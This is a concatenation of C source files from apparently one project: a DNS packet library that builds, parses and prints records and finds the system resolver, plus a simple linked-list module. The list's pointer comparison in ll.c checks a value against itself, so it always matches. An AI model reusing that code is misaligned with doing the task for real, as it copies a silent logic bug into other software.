1063 else if(dns->additionals[i].type == _DNS_TYPE_TEXT)
1064 {
1065 buffer_add_int16(buffer, dns->additionals[i].additional->TEXT.length + 1);
1066 buffer_add_int8(buffer, dns->additionals[i].additional->TEXT.length);
1067 buffer_add_bytes(buffer, dns->additionals[i].additional->TEXT.text, dns->additionals[i].additional->TEXT.length);
1068 }
1069 #ifndef WIN32
1070 else if(dns->additionals[i].type == _DNS_TYPE_AAAA)
1071 {
1072 buffer_add_int16(buffer, 16);
1073 buffer_add_ipv6_address(buffer, dns->additionals[i].additional->AAAA.address);
1074 }
1075 #endif
1076 else if(dns->additionals[i].type == _DNS_TYPE_NB)
1077 {
1078 buffer_add_int16(buffer, 6);
1079 buffer_add_int16(buffer, dns->additionals[i].additional->NB.flags);
1080 buffer_add_ipv4_address(buffer, dns->additionals[i].additional->NB.address);
1081 }
1082 else
1083 {
1084 fprintf(stderr, "WARNING: Don't know how to build additional type 0x%02x; skipping!\n", dns->additionals[i].type);
1085 }
1086 }
1087
1088 return buffer_create_string_and_destroy(buffer, length);
1089 }
1090
1091 void dns_print(dns_t *dns)
1092 {
1093 uint16_t i;
1094 fprintf(stderr, "trn_id: 0x%04x\n", dns->trn_id);
1095 fprintf(stderr, "flags: 0x%04x\n", dns->flags);
1096 fprintf(stderr, "rcode: 0x%04x\n", dns->rcode);
1097 for(i = 0; i < dns->question_count; i++)
1098 fprintf(stderr, "question: %s 0x%04x 0x%04x\n", dns->questions[i].name, dns->questions[i].type, dns->questions[i].class);
1099
1100 for(i = 0; i < dns->answer_count; i++)
1101 {
1102 if(dns->answers[i].type == _DNS_TYPE_A)
1103 fprintf(stderr, "answer: %s => %s A 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->A.address, dns->answers[i].class, dns->answers[i].ttl);
1104 else if(dns->answers[i].type == _DNS_TYPE_NS)
1105 fprintf(stderr, "answer: %s => %s NS 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->NS.name, dns->answers[i].class, dns->answers[i].ttl);
1106 else if(dns->answers[i].type == _DNS_TYPE_CNAME)
1107 fprintf(stderr, "answer: %s => %s CNAME 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->CNAME.name, dns->answers[i].class, dns->answers[i].ttl);
1108 else if(dns->answers[i].type == _DNS_TYPE_MX)
1109 fprintf(stderr, "answer: %s => %s (%d) MX 0x%04x 0x%08x\n", dns->answers[i].question, dns->answers[i].answer->MX.name, dns->answers[i].answer->MX.preference, dns->answers[i].class, dns->answers[i].ttl);
1110 else if(dns->answers[i].type == _DNS_TYPE_TEXT)
1111 fprintf(stderr, "answer: %s => %s TEXT 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->TEXT.text, dns->answers[i].class, dns->answers[i].ttl);
1112 #ifndef WIN32
1113 else if(dns->answers[i].type == _DNS_TYPE_AAAA)
1114 fprintf(stderr, "answer: %s => %s AAAA 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->AAAA.address, dns->answers[i].class, dns->answers[i].ttl);
1115 #endif
1116 else if(dns->answers[i].type == _DNS_TYPE_NB)
1117 fprintf(stderr, "answer: %s => %s (0x%04x) NB 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->NB.address, dns->answers[i].answer->NB.flags, dns->answers[i].class, dns->answers[i].ttl);
1118 else if(dns->answers[i].type == _DNS_TYPE_NBSTAT)
1119 {
1120 uint8_t j;
1121 NBSTAT_answer_t answer = dns->answers[i].answer->NBSTAT;
1122
1123 fprintf(stderr, "answer: %s => %d names (%02x:%02x:%02x:%02x:%02x:%02x)\n", dns->answers[i].question, answer.name_count, answer.stats[0], answer.stats[1], answer.stats[2], answer.stats[3], answer.stats[4], answer.stats[5]);
1124
1125 for(j = 0; j < answer.name_count; j++)
1126 fprintf(stderr, " %s:%02x (%04x)\n", answer.names[j].name, answer.names[j].name_type, answer.names[j].name_flags);
1127 }
1128 }
1129
1130 fprintf(stderr, "Authorities: %d\n", dns->authority_count);
1131
1132 for(i = 0; i < dns->additional_count; i++)
1133 {
1134 if(dns->additionals[i].type == _DNS_TYPE_A)
1135 fprintf(stderr, "additional: %s => %s A 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->A.address, dns->additionals[i].class, dns->additionals[i].ttl);
1136 else if(dns->additionals[i].type == _DNS_TYPE_NS)
1137 fprintf(stderr, "additional: %s => %s NS 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->NS.name, dns->additionals[i].class, dns->additionals[i].ttl);
1138 else if(dns->additionals[i].type == _DNS_TYPE_CNAME)
1139 fprintf(stderr, "additional: %s => %s CNAME 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->CNAME.name, dns->additionals[i].class, dns->additionals[i].ttl);
1140 else if(dns->additionals[i].type == _DNS_TYPE_MX)
1141 fprintf(stderr, "additional: %s => %s (%d) MX 0x%04x 0x%08x\n", dns->additionals[i].question, dns->additionals[i].additional->MX.name, dns->additionals[i].additional->MX.preference, dns->additionals[i].class, dns->additionals[i].ttl);
1142 else if(dns->additionals[i].type == _DNS_TYPE_TEXT)
1143 fprintf(stderr, "additional: %s => %s TEXT 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->TEXT.text, dns->additionals[i].class, dns->additionals[i].ttl);
1144 #ifndef WIN32
1145 else if(dns->additionals[i].type == _DNS_TYPE_AAAA)
1146 fprintf(stderr, "additional: %s => %s AAAA 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->AAAA.address, dns->additionals[i].class, dns->additionals[i].ttl);
1147 #endif
1148 else if(dns->additionals[i].type == _DNS_TYPE_NB)
1149 fprintf(stderr, "additional: %s => %s (0x%04x) NB 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->NB.address, dns->additionals[i].additional->NB.flags, dns->additionals[i].class, dns->additionals[i].ttl);
1150 else if(dns->additionals[i].type == _DNS_TYPE_NBSTAT)
1151 {
1152 uint8_t j;
1153 NBSTAT_additional_t additional = dns->additionals[i].additional->NBSTAT;
1154
1155 fprintf(stderr, "additional: %s => %d names (%02x:%02x:%02x:%02x:%02x:%02x)\n", dns->additionals[i].question, additional.name_count, additional.stats[0], additional.stats[1], additional.stats[2], additional.stats[3], additional.stats[4], additional.stats[5]);
1156
1157 for(j = 0; j < additional.name_count; j++)
1158 fprintf(stderr, " %s:%02x (%04x)\n", additional.names[j].name, additional.names[j].name_type, additional.names[j].name_flags);
1159 }
1160 }
1161 }
1162
1163 dns_t *dns_create_error(uint16_t trn_id, question_t question)
1164 {
1165 /* Create the DNS packet. */
1166 dns_t *dns = dns_create(_DNS_OPCODE_QUERY, _DNS_FLAG_QR, _DNS_RCODE_NAME_ERROR);
1167 dns->trn_id = trn_id;
1168
1169 /* Echo back the question. */
1170 dns_add_question(dns, question.name, question.type, question.class);
1171
1172 return dns;
1173 }
1174
1175 uint8_t *dns_create_error_string(uint16_t trn_id, question_t question, size_t *length)
1176 {
1177 /* Create the packet. */
1178 dns_t *dns = dns_create_error(trn_id, question);
1179
1180 /* Convert it to a string. */
1181 uint8_t *packet = dns_to_packet(dns, length);
1182 dns_destroy(dns);
1183
1184 return packet;
1185 }
1186
1187 /* Gets the first system dns server. */
1188 char *dns_get_system()
1189 {
1190 #ifdef WIN32
1191 DNS_STATUS error;
1192
1193 DWORD address;
1194
1195 char *straddress = safe_malloc(16);
1196
1197 /* Set the initial length to something we know is going to be wrong. */
1198 DWORD length = sizeof(IP4_ARRAY);
1199 IP4_ARRAY *servers = safe_malloc(length);
1200
1201 /* Call the function, which will inevitably return an error but will also tell us how much memory we need. */
1202 error = DnsQueryConfig(DnsConfigDnsServerList, 0, NULL, NULL, servers, &length);
1203 if(error == ERROR_MORE_DATA)
1204 servers = safe_realloc(servers, length);
1205
1206 /* Nowe that we have the right length, this call should succeed. */
1207 error = DnsQueryConfig(DnsConfigDnsServerList, 0, NULL, NULL, servers, &length);
1208
1209 /* Check for an error. */
1210 if(error)
1211 {
1212 fprintf(stderr, "Couldn't get system DNS server: %d\n", error);
1213 fprintf(stderr, "You can use --dns to set a custom dns server.\n");
1214 exit(1);
1215 }
1216
1217 /* Check if no servers were returned. */
1218 if(servers->AddrCount == 0)
1219 {
1220 fprintf(stderr, "Couldn't find any system dns servers");
1221 fprintf(stderr, "You can use --dns to set a custom dns server.\n");
1222 exit(1);
1223 }
1224
1225 /* Take the first DNS server. */
1226 address = servers->AddrArray[0];
1227
1228 /* Get rid of the array (we don't need it anymore). */
1229 safe_free(servers);
1230
1231 /* Convert the address to a string representation. */
1232 #ifdef WIN32
1233 sprintf_s(straddress, 16, "%d.%d.%d.%d", (address >> 0) & 0x000000FF,
1234 (address >> 8) & 0x000000FF,
1235 (address >> 16) & 0x000000FF,
1236 (address >> 24) & 0x000000FF);
1237 #else
1238 sprintf(straddress, "%d.%d.%d.%d", (address >> 0) & 0x000000FF,
1239 (address >> 8) & 0x000000FF,
1240 (address >> 16) & 0x000000FF,
1241 (address >> 24) & 0x000000FF);
1242 #endif
1243
1244 return straddress;
1245 #else
1246 FILE *file = fopen("/etc/resolv.conf", "r");
1247 char buffer[1024];
1248
1249 if(!file)
1250 return NULL;
1251
1252 while(fgets(buffer, 1024, file))
1253 {
1254 if(strstr(buffer, "nameserver") == buffer)
1255 {
1256 char *address;
1257 char *end;
1258
1259 /* Remove the first part of the string. */
1260 address = buffer + strlen("nameserver");
1261
1262 /* Find the first character in the address. Note: the 'int' typecast is to fix a warning on cygwin. */
1263 while(address[0] && isspace((int)address[0]))
1264 address++;
1265
1266 /* Make sure we didn't hit the end of the string. */
1267 if(!address[0])
1268 {
1269 fprintf(stderr, "Invalid record in /etc/resolv.conf: %s\n", buffer);
1270 continue;
1271 }
1272
1273 /* Find the end of the string. Note: The 'int' typecast is to remove a warning on cygwin. */
1274 end = address;
1275 while(end[0] && !isspace((int)end[0]))
1276 end++;
1277
1278 /* If we hit the end of the string, we don't have to do anything; otherwise, terminate it. */
1279 if(end[0])
1280 end[0] = '\0';
1281
1282
1283 /* In theory, we should now have the address of the first entry in resolv.conf. */
1284 return safe_strdup(address);
1285 }
1286 }
1287
1288 return NULL;
1289 #endif
1290 }
1291
1292 int dns_is_error(dns_t *dns)
1293 {
1294 return dns->rcode != 0;
1295 }
0 /* dns.c
1 * By Ron Bowes
2 * Created December, 2009
3 *
4 * (See LICENSE.md)
5 *
6 * This module implements a reasonably functional DNS library that can build or
7 * parse DNS packets in a platform-agnostic way. It implements a number of
8 * record types (A, NS, CNAME, MX, TXT, and AAAA), and can add and parse
9 * questions or answers.
10 *
11 * On Windows, due to IPv6 parsing being unavailable on older systems, I
12 * disable AAAA records entirely.
13 *
14 * In the future I may opt to add more record types and stronger parsing, but
15 * for now this was enough.
16 */
17
18 #ifndef __DNS_H__
19 #define __DNS_H__
20
21 #include "types.h"
22
23 /* Define a list of dns types. The initial '_' in all the names here is because Windows
24 * defines some of these, and differently than how we want them on occasion. */
25 typedef enum
26 {
27 /* RFC 1034/1035 */
28 _DNS_TYPE_A = 0x0001,
29 _DNS_TYPE_NS = 0x0002,
30 _DNS_TYPE_MD = 0x0003,
31 _DNS_TYPE_MF = 0x0004,
32 _DNS_TYPE_CNAME = 0x0005,
33 _DNS_TYPE_SOA = 0x0006,
34 _DNS_TYPE_MB = 0x0007,
35 _DNS_TYPE_MG = 0x0008,
36 _DNS_TYPE_MR = 0x0009,
37 _DNS_TYPE_NULL = 0x000a,
38 _DNS_TYPE_WKS = 0x000b,
39 _DNS_TYPE_PTR = 0x000c,
40 _DNS_TYPE_HINFO = 0x000d,
41 _DNS_TYPE_MINFO = 0x000e,
42 _DNS_TYPE_MX = 0x000f,
43 _DNS_TYPE_TEXT = 0x0010,
44
45 /* RFC 1183 */
46 _DNS_TYPE_RP = 0x0011,
47 _DNS_TYPE_AFSDB = 0x0012,
48 _DNS_TYPE_X25 = 0x0013,
49 _DNS_TYPE_ISDN = 0x0014,
50 _DNS_TYPE_RT = 0x0015,
51
52 /* RFC 1348 */
53 _DNS_TYPE_NSAP = 0x0016,
54 _DNS_TYPE_NSAPPTR = 0x0017,
55
56 /* RFC 2065 (DNS security) */
57 _DNS_TYPE_SIG = 0x0018,
58 _DNS_TYPE_KEY = 0x0019,
59
60 /* RFC 1664 (X.400 mail) */
61 _DNS_TYPE_PX = 0x001a,
62
63 /* RFC 1712 (Geographic position) */
64 _DNS_TYPE_GPOS = 0x001b,
65
66 /* RFC 1886 (IPv6 Address) */
67 _DNS_TYPE_AAAA = 0x001c,
68
69 /* RFC 1876 (Geographic location) */
70 _DNS_TYPE_LOC = 0x001d,
71
72 /* RFC 2065 (Secure negative response) */
73 _DNS_TYPE_NXT = 0x001e,
74
75 /* Patton (Endpoint Identifier) */
76 _DNS_TYPE_EID = 0x001f,
77
78 /* Patton (Nimrod Locator) */
79 /* _DNS_TYPE_NIMLOC = 0x0020,*/
80 /* RFC 2052 (Service location) */
81 /* _DNS_TYPE_SRV = 0x0021,*/
82
83 /* NetBIOS. */
84 _DNS_TYPE_NB = 0x0020,
85
86 /* Adapter status. */
87 _DNS_TYPE_NBSTAT = 0x0021,
88
89 /* ATM Address */
90 _DNS_TYPE_ATMA = 0x0022,
91
92 /* RFC 2168 (Naming Authority Pointer) */
93 _DNS_TYPE_NAPTR = 0x0023,
94
95 /* RFC 2230 (Key Exchanger) */
96 _DNS_TYPE_KX = 0x0024,
97
98 /* RFC 2538 (CERT) */
99 _DNS_TYPE_CERT = 0x0025,
100
101 /* A6 Draft (A6) */
102 _DNS_TYPE_A6 = 0x0026,
103
104 /* DNAME Draft (DNAME) */
105 _DNS_TYPE_DNAME = 0x0027,
106
107 /* Eastlake (Kitchen Sink) */
108 _DNS_TYPE_SINK = 0x0028,
109
110 /* RFC 2671 (EDNS OPT) */
111 _DNS_TYPE_OPT = 0x0029,
112
113 /* IANA Reserved */
114
115 _DNS_TYPE_UINFO = 0x0064,
116 _DNS_TYPE_UID = 0x0065,
117 _DNS_TYPE_GID = 0x0066,
118 _DNS_TYPE_UNSPEC = 0x0067,
119
120 /* Query only types (1035, 1995) */
121 _DNS_TYPE_ADDRS = 0x00f8,
122 _DNS_TYPE_TKEY = 0x00f9,
123 _DNS_TYPE_TSIG = 0x00fa,
124 _DNS_TYPE_IXFR = 0x00fb,
125 _DNS_TYPE_AXFR = 0x00fc,
126 _DNS_TYPE_MAILB = 0x00fd,
127 _DNS_TYPE_MAILA = 0x00fe,
128 _DNS_TYPE_ALL = 0x00ff,
129 _DNS_TYPE_ANY = 0x00ff,
130 } dns_type_t;
131
132 typedef enum
133 {
134 _DNS_CLASS_IN = 1, /* The Internet */
135 _DNS_CLASS_CS = 2, /* The CSNET class (Obsolete - used only for examples in some obsolete RFCs) */
136 _DNS_CLASS_CH = 3, /* The CHAOS class */
137 _DNS_CLASS_HS = 4, /* Hesiod [Dyer 87] */
138 } dns_class_t;
139
140 /* Here are how the opcodes, flags, and rcodes are laid out:
141 * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
142 * | 1 1 1 1 1 1|
143 * | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5|
144 * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
145 * |QR| Opcode |AA|TC|RD|RA| Z | RCODE |
146 * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
147 */
148 typedef enum
149 {
150 _DNS_OPCODE_QUERY = 0x0000,
151 _DNS_OPCODE_IQUERY = 0x0800,
152 _DNS_OPCODE_STATUS = 0x1000,
153 } dns_opcode_t;
154
155 typedef enum
156 {
157 _DNS_FLAG_QR = 0x8000, /* Query response */
158 _DNS_FLAG_AA = 0x0400, /* Authoritative answer */
159 _DNS_FLAG_TC = 0x0200, /* Truncation */
160 _DNS_FLAG_RD = 0x0100, /* Recursion desired */
161 _DNS_FLAG_RA = 0x0080, /* Recursion available */
162 } dns_flag_t;
163
164 typedef enum
165 {
166 _DNS_RCODE_SUCCESS = 0x0000,
167 _DNS_RCODE_FORMAT_ERROR = 0x0001,
168 _DNS_RCODE_SERVER_FAILURE = 0x0002,
169 _DNS_RCODE_NAME_ERROR = 0x0003,
170 _DNS_RCODE_NOT_IMPLEMENTED = 0x0004,
171 _DNS_RCODE_REFUSED = 0x0005,
172 } dns_rcode_t;
173
174
175 /* A DNS question. Questions are simple, they just have a name, type, and class. */
176 typedef struct
177 {
178 char *name;
179 dns_type_t type;
180 dns_class_t class;
181 } question_t;
182
183 /* An answer for an A packet. */
184 typedef struct
185 {
186 char *address;
187 uint8_t bytes[4];
188 } A_answer_t;
189
190 /* Only define AAAA on Linux. */
191 #ifndef WIN32
192 typedef struct
193 {
194 char *address;
195 uint8_t bytes[16];
196 } AAAA_answer_t;
197 #endif
198
199 /* Nameserver and CNAME (alias) records simply have a name. */
200 typedef struct
201 {
202 char *name;
203 } NS_answer_t, CNAME_answer_t;
204
205 /* Mail server requests (MX) have a name and a preference number. */
206 typedef struct
207 {
208 uint16_t preference;
209 char *name;
210 } MX_answer_t;
211
212 /* A text record (TXT) has the text data and a length. Unlike MX, NS, and CNAME, text
213 * records aren't encoded as a dns name. */
214 typedef struct
215 {
216 uint8_t *text;
217 uint8_t length;
218 } TEXT_answer_t;
219
220 /* A NetBIOS answer (NB) is used by Windows on port 137. */
221 typedef struct
222 {
223 uint16_t flags;
224 char *address;
225 } NB_answer_t;
226
227 /* One element returned by a NBSTAT query (NBSTAT answers typically contain multiple names). */
228 typedef struct
229 {
230 char *name;
231 uint8_t name_type;
232 uint16_t name_flags;
233 } NBSTAT_name_t;
234
235 /* A NetBIOS Status answer (NBSTAT or NBTSTAT) is used by Windows to get more information over 137. */
236 typedef struct
237 {
238 uint8_t name_count;
239 NBSTAT_name_t *names;
240 uint8_t stats[64];
241 } NBSTAT_answer_t;
242
243 /* Let us refer to any kind of answer type together. */
244 typedef union
245 {
246 A_answer_t A;
247 NS_answer_t NS;
248 CNAME_answer_t CNAME;
249 MX_answer_t MX;
250 TEXT_answer_t TEXT;
251 #ifndef WIN32
252 AAAA_answer_t AAAA;
253 #endif
254 NB_answer_t NB;
255 NBSTAT_answer_t NBSTAT;
256 } answer_types_t;
257
258 /* And finally, define a DNS answer. */
259 typedef struct
260 {
261 char *question;
262 dns_type_t type;
263 dns_class_t class;
264 uint32_t ttl;
265 answer_types_t *answer;
266 } answer_t;
267
268 /* We don't implement authority records. */
269 typedef struct
270 {
271 /* TODO */
272 int dummy;
273 } authority_t;
274
275 /* An additional for an A packet. */
276 typedef struct
277 {
278 char *address;
279 } A_additional_t;
280
281 /* Only define AAAA on Linux. */
282 #ifndef WIN32
283 typedef A_additional_t AAAA_additional_t;
284 #endif
285
286 /* Nameserver and CNAME (alias) records simply have a name. */
287 typedef struct
288 {
289 char *name;
290 } NS_additional_t, CNAME_additional_t;
291
292 /* Mail server requests (MX) have a name and a preference number. */
293 typedef struct
294 {
295 uint16_t preference;
296 char *name;
297 } MX_additional_t;
298
299 /* A text record (TXT) has the text data and a length. Unlike MX, NS, and CNAME, text
300 * records aren't encoded as a dns name. */
301 typedef struct
302 {
303 uint8_t *text;
304 uint8_t length;
305 } TEXT_additional_t;
306
307 /* A NetBIOS additional (NB) is used by Windows on port 137. */
308 typedef struct
309 {
310 uint16_t flags;
311 char *address;
312 } NB_additional_t;
313
314 /* A NetBIOS Status additional (NBSTAT or NBTSTAT) is used by Windows to get more information over 137. */
315 typedef struct
316 {
317 uint8_t name_count;
318 NBSTAT_name_t *names;
319 uint8_t stats[64];
320 } NBSTAT_additional_t;
321
322 /* Let us refer to any kind of additional type together. */
323 typedef union
324 {
325 A_additional_t A;
326 NS_additional_t NS;
327 CNAME_additional_t CNAME;
328 MX_additional_t MX;
329 TEXT_additional_t TEXT;
330 #ifndef WIN32
331 AAAA_additional_t AAAA;
332 #endif
333 NB_additional_t NB;
334 NBSTAT_additional_t NBSTAT;
335 } additional_types_t;
336
337 /* And finally, define a DNS additional. */
338 typedef struct
339 {
340 char *question;
341 dns_type_t type;
342 dns_class_t class;
343 uint32_t ttl;
344 additional_types_t *additional;
345 } additional_t;
346
347 /* Define an entire DNS packet. */
348 typedef struct
349 {
350 uint16_t trn_id;
351 dns_opcode_t opcode;
352 dns_flag_t flags;
353 dns_rcode_t rcode;
354
355 uint16_t question_count;
356 uint16_t answer_count;
357 uint16_t authority_count;
358 uint16_t additional_count;
359
360 question_t *questions;
361 answer_t *answers;
362 authority_t *authorities;
363 additional_t *additionals;
364 } dns_t;
365
366 /* Allocate memory for a blank dns structure. Should be freed with dns_free(). */
367 dns_t *dns_create(dns_opcode_t opcode, dns_flag_t flags, dns_rcode_t rcode);
368
369 /* Take a DNS packet as a stream of bytes, and create a dns_t structure from it.
370 * Should also be cleaned up with dns_destroy(). */
371 dns_t *dns_create_from_packet(uint8_t *packet, size_t length);
372
373 /* De-allocate memory and resources from a dns object. */
374 void dns_destroy(dns_t *dns);
375
376 /* Add a question to the DNS packet. A DNS packet can have any number of questions, but
377 * I normally limit it to one at a time. */
378 void dns_add_question(dns_t *dns, char *name, dns_type_t type, dns_class_t class);
379
380 /* Add a NetBIOS question to the DNS packet. This is similar to a normal question but
381 * with a couple extra fields and an encoded name. */
382 void dns_add_netbios_question(dns_t *dns, char *name, uint8_t name_type, char *scope, dns_type_t type, dns_class_t class);
383
384 /* These functions add answers of the various types. */
385 void dns_add_answer_A(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address);
386 void dns_add_answer_NS(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name);
387 void dns_add_answer_CNAME(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name);
388 void dns_add_answer_MX(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint16_t preference, char *name);
389 void dns_add_answer_TEXT(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint8_t *text, uint8_t length);
390 #ifndef WIN32
391 void dns_add_answer_AAAA(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address);
392 #endif
393 void dns_add_answer_NB(dns_t *dns, char *question, uint8_t question_type, char *scope, dns_class_t class, uint32_t ttl, uint16_t flags, char *address);
394
395 /* These functions add additionals of the various types. */
396 void dns_add_additional_A(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address);
397 void dns_add_additional_NS(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name);
398 void dns_add_additional_CNAME(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name);
399 void dns_add_additional_MX(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint16_t preference, char *name);
400 void dns_add_additional_TEXT(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint8_t *text, uint8_t length);
401 #ifndef WIN32
402 void dns_add_additional_AAAA(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address);
403 #endif
404 void dns_add_additional_NB(dns_t *dns, char *question, uint8_t question_type, char *scope, dns_class_t class, uint32_t ttl, uint16_t flags, char *address);
405
406 /* Convert a DNS request into a packet that can be sent on port 53. Memory has to be freed. */
407 uint8_t *dns_to_packet(dns_t *dns, size_t *length);
408
409 /* Print the DNS request. Useful for debugging. */
410 void dns_print(dns_t *dns);
411
412 /* Create a DNS error object. */
413 dns_t *dns_create_error(uint16_t trn_id, question_t question);
414 /* Create a DNS error packet, ready to send. */
415 uint8_t *dns_create_error_string(uint16_t trn_id, question_t question, size_t *length);
416
417 /* Get the first system DNS server. Works on Windows and any system that uses /etc/resolv.conf. */
418 char *dns_get_system();
419
420 /* Runs dnstest and exits. Useful for --test parameters on any of the dns* programs. */
421 void dns_do_test(char *domain);
422
423 int dns_is_error(dns_t *dns);
424
425 #endif
426
0 /* ll.c
1 * By Ron
2 * Created January, 2010
3 *
4 * (See LICENSE.md)
5 */
6
7 #include <stdio.h>
8
9 #include "libs/memory.h"
10
11 #if 0
12 #include <stdio.h>
13 #include <stdlib.h>
14 #include <string.h>
15 #define safe_malloc malloc
16 #define safe_free free
17 #define FALSE 0
18 #define TRUE 1
19 #endif
20
21 #include "ll.h"
22
23 ll_t *ll_create(cmpfunc_t *cmpfunc)
24 {
25 ll_t *ll = (ll_t*) safe_malloc(sizeof(ll_t));
26 ll->first = NULL;
27 ll->cmpfunc = cmpfunc;
28
29 return ll;
30 }
31
32 static ll_element_t *create_element(ll_index_t index, void *data)
33 {
34 ll_element_t *element = (ll_element_t*) safe_malloc(sizeof(ll_element_t));
35 element->index = index;
36 element->data = data;
37
38 return element;
39 }
40
41 static ll_element_t *destroy_element(ll_element_t *element)
42 {
43 void *data = element->data;
44 safe_free(element);
45 return data;
46 }
47
48 void *ll_add(ll_t *ll, ll_index_t index, void *data)
49 {
50 ll_element_t *element = create_element(index, data);
51 void *old_data = ll_remove(ll, index);
52
53 element->next = NULL;
54 if(ll->first)
55 element->next = (struct ll_element_t *)ll->first;
56 ll->first = element;
57
58 return old_data;
59 }
60
61 static int compare(ll_t *ll, ll_index_t a, ll_index_t b)
62 {
63 if(a.type != b.type)
64 return FALSE;
65
66 switch(a.type)
67 {
68 case LL_8:
69 return a.value.u8 == b.value.u8;
70
71 case LL_16:
72 return a.value.u16 == b.value.u16;
73
74 case LL_32:
75 return a.value.u32 == b.value.u32;
76
77 case LL_64:
78 return a.value.u64 == b.value.u64;
79
80 case LL_PTR:
81 if(ll->cmpfunc)
82 return ll->cmpfunc(a.value.ptr, b.value.ptr);
83 else
84 return a.value.ptr == a.value.ptr;
85 }
86
87 printf("We forgot to handle a linked-list type!\n");
88 exit(1);
89 }
90
91 void *ll_remove(ll_t *ll, ll_index_t index)
92 {
93 ll_element_t *prev = NULL;
94 ll_element_t *cur = ll->first;
95
96 while(cur)
97 {
98 if(compare(ll, cur->index, index))
99 {
100 if(prev)
101 prev->next = cur->next;
102 else
103 ll->first = (ll_element_t *)cur->next;
104
105 return destroy_element(cur);
106 }
107 prev = cur;
108 cur = (ll_element_t*)prev->next;
109 }
110
111 return NULL;
112 }
113
114 void *ll_remove_first(ll_t *ll)
115 {
116 ll_element_t *first = ll->first;
117
118 if(first)
119 ll->first = (ll_element_t *)first->next;
120
121 return first ? first->data : NULL;
122 }
123
124 void *ll_find(ll_t *ll, ll_index_t index)
125 {
126 ll_element_t *cur = ll->first;
127
128 while(cur)
129 {
130 if(compare(ll, cur->index, index))
131 return cur->data;
132 cur = (ll_element_t *)cur->next;
133 }
134
135 return NULL;
136 }
137
138 void ll_destroy(ll_t *ll)
139 {
140 ll_element_t *cur = ll->first;
141 ll_element_t *next = NULL;
142
143 while(cur)
144 {
145 next = (ll_element_t *)cur->next;
146 destroy_element(cur);
147 cur = next;
148 }
149
150 safe_free(ll);
151 }
152
153 ll_index_t ll_8(uint8_t value)
154 {
155 ll_index_t index;
156 index.type = LL_8;
157 index.value.u8 = value;
158
159 return index;
160 }
161
162 ll_index_t ll_16(uint16_t value)
163 {
164 ll_index_t index;
165 index.type = LL_16;
166 index.value.u16 = value;
167
168 return index;
169 }
170
171 ll_index_t ll_32(uint32_t value)
172 {
173 ll_index_t index;
174 index.type = LL_32;
175 index.value.u32 = value;
176
177 return index;
178 }
179
180 ll_index_t ll_64(uint64_t value)
181 {
182 ll_index_t index;
183 index.type = LL_64;
184 index.value.u64 = value;
185
186 return index;
187 }
188
189 ll_index_t ll_ptr(void *value)
190 {
191 ll_index_t index;
192 index.type = LL_PTR;
193 index.value.ptr = value;
194
195 return index;
196 }
197
198 #if 0
199 int my_strcmp(const void *a, const void *b)
200 {
201 return strcmp((const char*)a, (const char*)b);
202 }
203
204 int main(int argc, const char *argv[])
205 {
206 ll_t *ll = ll_create(NULL);
207
208 printf("\n");
209 printf("nil: %p\n", ll_find(ll, ll_16(0x123)));
210
211 printf("\n");
212 ll_add(ll, ll_16(0x12), (void*)0x32);
213 printf("32: %p\n", ll_find(ll, ll_16(0x12)));
214 printf("nil: %p\n", ll_find(ll, ll_16(0x31)));
215 printf("nil: %p\n", ll_find(ll, ll_32(0x12)));
216 printf("nil: %p\n", ll_find(ll, ll_8(0x12)));
217
218 printf("\n");
219 ll_remove(ll, ll_16(0x123));
220 printf("nil: %p\n", ll_find(ll, ll_16(0x123)));
221
222 ll_add(ll, ll_8(1), "8");
223 ll_add(ll, ll_16(1), "16");
224 ll_add(ll, ll_32(1), "32");
225 ll_add(ll, ll_64(1), "64");
226 ll_add(ll, ll_ptr((void*)1), "ptr");
227
228 printf("8: %s\n", (char*)ll_find(ll, ll_8(1)));
229 printf("16: %s\n", (char*)ll_find(ll, ll_16(1)));
230 printf("32: %s\n", (char*)ll_find(ll, ll_32(1)));
231 printf("64: %s\n", (char*)ll_find(ll, ll_64(1)));
232 printf("ptr: %s\n", (char*)ll_find(ll, ll_ptr((void*)1)));
233
234 ll_remove(ll, ll_8(1));
235 ll_remove(ll, ll_16(1));
236 ll_remove(ll, ll_32(1));
237 ll_remove(ll, ll_64(1));
238 ll_remove(ll, ll_ptr((void*)1));
239
240 printf("nil: %p\n", (char*)ll_find(ll, ll_8(1)));
241 printf("nil: %p\n", (char*)ll_find(ll, ll_16(1)));
242 printf("nil: %p\n", (char*)ll_find(ll, ll_32(1)));
243 printf("nil: %p\n", (char*)ll_find(ll, ll_64(1)));
244 printf("nil: %p\n", (char*)ll_find(ll, ll_ptr((void*)1)));
245
246 ll_destroy(ll);
247
248 return 0;
249 }
250 #endif
0 /* ll.h
1 * By Ron
2 * Created January, 2010
3 *
4 * (See LICENSE.md)
5 *
6 * Implements a simple singly-linked list.
7 */
8
9 #ifndef __LL_H__
10 #define __LL_H__
11
12 typedef int(cmpfunc_t)(const void *, const void *);
13
14 typedef enum
15 {
16 LL_8,
17 LL_16,
18 LL_32,
19 LL_64,
